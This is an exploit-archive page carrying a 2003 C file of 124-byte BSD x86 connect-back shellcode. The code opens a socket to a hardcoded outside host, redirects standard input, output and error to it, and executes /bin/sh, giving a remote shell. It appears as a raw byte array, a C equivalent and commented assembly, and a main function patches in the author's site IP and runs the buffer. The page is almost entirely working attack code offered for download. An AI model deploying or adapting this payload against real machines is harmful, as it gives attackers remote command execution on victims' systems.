exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

bsd-connect-back.c

bsd-connect-back.c
Posted Mar 7, 2003
Authored by eSDee | Site netric.org

BSD x86 124 byte connect back shellcode.

tags | x86, shellcode
systems | bsd
SHA-256 | 5c802bdef5259c9a4b2a1f2cce119173bc88d78f7568286a371993d88972fcd1

bsd-connect-back.c

Change Mirror Download
/* BSD x86 shellcode by eSDee of Netric (www.netric.org)
* 124 byte - connect back shellcode (port=0xb0ef)
*/

#include <stdio.h>

char
shellcode[] =
"\x31\xc0\x31\xdb\x53\xb3\x06\x53"
"\xb3\x01\x53\xb3\x02\x53\x54\xb0"
"\x61\xcd\x80\x31\xd2\x52\x52\x68"
"\x41\x41\x41\x41\x66\x68\xb0\xef"
"\xb7\x02\x66\x53\x89\xe1\xb2\x10"
"\x52\x51\x50\x52\x89\xc2\x31\xc0"
"\xb0\x62\xcd\x80\x31\xdb\x39\xc3"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\x50\x52\x50\xb0\x5a\xcd"
"\x80\x31\xc0\x31\xdb\x43\x53\x52"
"\x50\xb0\x5a\xcd\x80\x31\xc0\x43"
"\x53\x52\x50\xb0\x5a\xcd\x80\x31"
"\xc0\x50\x68\x2f\x2f\x73\x68\x68"
"\x2f\x62\x69\x6e\x89\xe3\x50\x54"
"\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
"\xb0\x01\xcd\x80";

int
c_code()
{
char *argv[2];
char *sockaddr = "\x00\x02"
"\xb0\xef"
"\x7f\x00\x00\x01"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00";

int sock;

sock = socket(2, 1, 6);
if (connect(sock, sockaddr, 16) < 0) exit();

dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);

argv[0] = "//bin/sh";
argv[1] = NULL;

execve(argv[0], &argv[0], NULL);
exit();
}

int
asm_code()
{
__asm(" # sock = socket(2, 1, 6);
xorl %eax, %eax
xorl %ebx, %ebx
pushl %ebx
movb $6, %bl # SOCK_STREAM
pushl %ebx
movb $1, %bl # IPPROTO_TCP
pushl %ebx
movb $2, %bl # AF_INET
pushl %ebx
pushl %esp
movb $97, %al # SYS_socket
int $0x80

# if (connect(sock, sockaddr, 16) < 0) exit();
xorl %edx, %edx
pushl %edx
pushl %edx
pushl $0x0100007f # ip address
pushw $0xefb0 # port
movb $2, %bh # address family
pushw %bx
movl %esp, %ecx
movb $16, %dl
pushl %edx # sizeof(sockaddr)

pushl %ecx
pushl %eax # sock
pushl %edx
movl %eax, %edx
xorl %eax, %eax
movb $98, %al # SYS_connect
int $0x80

xorl %ebx, %ebx
cmpl %eax, %ebx
je CONNECTED
xorl %eax, %eax
movb $1, %al # SYS_exit
int $0x80

CONNECTED:
# dup2(sock, 0);
xorl %eax, %eax
pushl %eax
pushl %edx
pushl %eax # stdin
movb $90, %al # dup2
int $0x80

# dup2(sock, 1);
xorl %eax, %eax
xorl %ebx, %ebx
incl %ebx
pushl %ebx # stdout
pushl %edx
pushl %eax
movb $90, %al # dup2
int $0x80

# dup2(sock, 2);
xorl %eax, %eax
incl %ebx
pushl %ebx
pushl %edx
pushl %eax # stderr
movb $90, %al # dup2
int $0x80

# execve(argv[0], &argv[0], NULL);
xorl %eax, %eax
pushl %eax
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %eax
pushl %esp
pushl %ebx
pushl %eax
movb $59, %al # SYS_execve
int $0x80

xorl %eax, %eax
movb $1, %al # SYS_exit
int $0x80");

}

int
main()
{
void (*funct)();

shellcode[24] = 81; /* ip of www.netric.org :) */
shellcode[25] = 17;
shellcode[26] = 46;
shellcode[27] = 156;

(long) funct = &shellcode;
funct();
return 0;
}


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close